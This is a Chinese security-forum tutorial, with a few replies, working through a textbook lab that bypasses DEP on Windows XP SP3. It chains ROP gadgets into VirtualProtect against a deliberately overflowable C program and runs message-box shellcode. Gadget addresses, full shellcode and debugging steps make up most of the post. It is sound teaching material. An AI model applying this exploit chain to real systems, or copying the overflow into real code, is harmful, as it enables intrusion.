首页
社区
课程
招聘
[原创] Ret2Libc实战之利用VirtualProtect
2019-3-18 00:21 9153

[原创] Ret2Libc实战之利用VirtualProtect

2019-3-18 00:21
9153

Ret2Libc实战之利用VirtualProtect

说明:本实验来源于《0day安全:软件漏洞分析技术》(第二版)第12章
如有不当之处,还请各位前辈指正,谢谢!

 

这个实验的原理是通过调用VirtualProtect函数来将某快内存的属性设置为可执行,这样就可以把shellcode插在这块内存并执行。

VirtualProtect函数简介

VirtualProtect()函数的原型为如下

BOOL VirtualProtect(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
);

各个参数分别表示:
lpAddress:要修改访问保护属性的内存地址。
dwSize:修改的内存大小(以字节计)。
flNewProtect:要设置的访问保护属性(本次实验设为0X40)。
lpflOldProtect:内存原始属性类型保存的地址(要是一个可写的内存)。
详细信息可以参考MSDN:VirtualProtect
VirtualProtect函数的具体实现过程如下:

可以看出,VirtualProtect会将EBP+8 ~ EBP+0X14十六个字节存放的数据作为四个参数调用VirtualProtectEx函数。

实验环境

操作系统:Windows XP SP3 (开启DEP保护)
编译器:VS2008(关闭GS,生成release版本、禁止优化)

实验源代码

#include <stdlib.h> 
#include <string.h> 
#include <stdio.h> 
#include <windows.h> 
char shellcode[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90" // overwrite the EBP
"\x16\x1D\xBF\x77" // the address of (POP EAX, RETN)
"\x66\xEA\x76\x7D" // the address of (POP POP POP RETN)
"\x02\x07\x76\x7D" // the address of (PUSH ESP, POP EBP, RET 4)
"\x17\x1D\xBF\x77" // the address of (RETN)
"\x90\x90\x90\x90" 
"\xC6\xC6\xEB\x77" // the address of (PUSH ESP, JMP EAX)
"\xFF\x00\x00\x00" // dwSize
"\x40\x00\x00\x00" // flNewProtect
"\xC6\xC6\xEB\x77" // the address of (PUSH ESP, JMP EAX)
"\x90\x90\x90\x90" 
"\x90\x90\x90\x90" 
"\xD9\x1A\x80\x7C" // the address of VirtualProtect
"\x90\x90\x90\x90"
"\x7B\x46\x86\x7C" // the address of (JMP ESP)
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
//shellcode 
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6F\x4F\x77\x6C\x68\x48\x65\x6C\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
;

void test()
{
    char str[176];
    memcpy(str, shellcode, 420);
}

int main()
{
    HINSTANCE hInst = LoadLibrary("shell32.dll");
    char temp[200];
    test();

    return 0;
}

由于VirtualProtect函数的第二和第三个参数分别是0XFF(dwSize)和0X40(lfNewProtect)都含有0X00,所以不能用strcpy函数来拷贝shellcode,而是要用memcpy函数来指定一个比较大的字符串才能将shellcode复制到可执行区域。

调试过程

首先用0X90909090覆盖test函数的EBP,用修正EBP的指令(PUSH ESP, POP EBP, RETN 4)地址来覆盖test函数的返回地址。shellcode布置如下:

char shellcode[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" // overwrite the EBP
"\x02\x07\x76\x7D" // the address of (PUSH ESP, POP EBP, RET 4)
;

编译后用OD打开调试,在执行完memcpy函数后停下观察此时stack的分布情况:

继续执行,当执行完PUSH ESP, POP EBP 后EBP的值如下:

可以发现0X12FEAC还没有被填充,接下来要将EBP+8 ~ EBP+0X14布置为VirtualProtect函数的四个参数,但是第一个(lpAddress)和第四个参数(lpflOldProtect)需要动态确定,可以用PUSH ESP指令将stack中的地址分别压入EBP+8EBP+0X14。执行第一次PUSH ESP前要保证ESP指向EBP+C处,第二次执行PUSH ESP前ESP指向EBP+0X18。执行完第一个PUSH ESP后让ESP 指向EBP+0X18,可以使用4条POP指令,但是要想控制程序流程还需要有一个RETN指令来确保对程序流程的控制。因为执行RETN指令会使ESP加4,所以可以使用三条POP指令加一条RETN指令。这里选择用JMP EAX来跳到POP POP POP RETN指令处,所以还要再执行JMP EAX之前将EAX指向POP POP POPR ETN指令的地址。
重新布置shellcode:

char shellcode[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" // overwrite the EBP
"\x16\x1D\xBF\x77" // the address of (POP EAX, RETN)
"\x66\xEA\x76\x7D" // the address of (POP POP POP RETN)
"\x02\x07\x76\x7D" // the address of (PUSH ESP, POP EBP, RET 4)
"\x17\x1D\xBF\x77" // the address of (RETN)
"\x90\x90\x90\x90" 
"\xC6\xC6\xEB\x77" // the address of (PUSH ESP, JMP EAX)
"\xFF\x00\x00\x00" //dwSize
"\x40\x00\x00\x00" //flNewProtect
"\xC6\xC6\xEB\x77" // the address of (PUSH ESP, JMP EAX)
"\x90\x90\x90\x90" 
"\x90\x90\x90\x90" 
"\xD9\x1A\x80\x7C" // the address of VirtualProtect;
;

重新编译后用OD调试,在test函数的返回RETN处设一个断点,执行到此处后单步运行,注意观察执行每一条指令后ESP的变化,执行完VirtualProtectEx后观察EAX(函数的返回值放在EAX)的值,若VirtualProtectEx函数执行成功则返回值为非0值。

执行完VirtualProtectEx后会执行POP EBP和RETN 0X10,此时通过JMP ESP指令跳转到shellcode处执行shellcode即可。
shellcode的最终布局:

char shellcode[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" // overwrite the EBP
"\x16\x1D\xBF\x77" // the address of (POP EAX, RETN)
"\x66\xEA\x76\x7D" // the address of (POP POP POP RETN)
"\x02\x07\x76\x7D" // the address of (PUSH ESP, POP EBP, RET 4)
"\x17\x1D\xBF\x77" // the address of (RETN)
"\x90\x90\x90\x90" 
"\xC6\xC6\xEB\x77" // the address of (PUSH ESP, JMP EAX)
"\xFF\x00\x00\x00" //dwSize
"\x40\x00\x00\x00" //flNewProtect
"\xC6\xC6\xEB\x77" // the address of (PUSH ESP, JMP EAX)
"\x90\x90\x90\x90" 
"\x90\x90\x90\x90" 
"\xD9\x1A\x80\x7C" // the address of VirtualProtect
"\x90\x90\x90\x90"
"\x7B\x46\x86\x7C" // the address of (JMP ESP)
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
//shellcode 
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6F\x4F\x77\x6C\x68\x48\x65\x6C\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
;

shellcode的布局示意图如下:

重新编译程序执行,出现弹窗:


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2019-3-18 09:31 被kanxue编辑 ,原因:
收藏
点赞4
打赏
分享
最新回复 (3)
雪    币: 2282
活跃值: (426)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
crownless 2019-3-22 10:19
2
0
前排支持下!
雪    币: 314
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
皮豪 2019-3-22 10:29
3
0
大佬,我也要学
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wx_D. 2020-2-20 08:34
4
0
请问,push esp jmp eax这条指令您是怎么找到的?书上也没有提到具体的方法,ollyfindaddr好像也没有对应的搜索指令吧?
游客
登录 | 注册 方可回帖
返回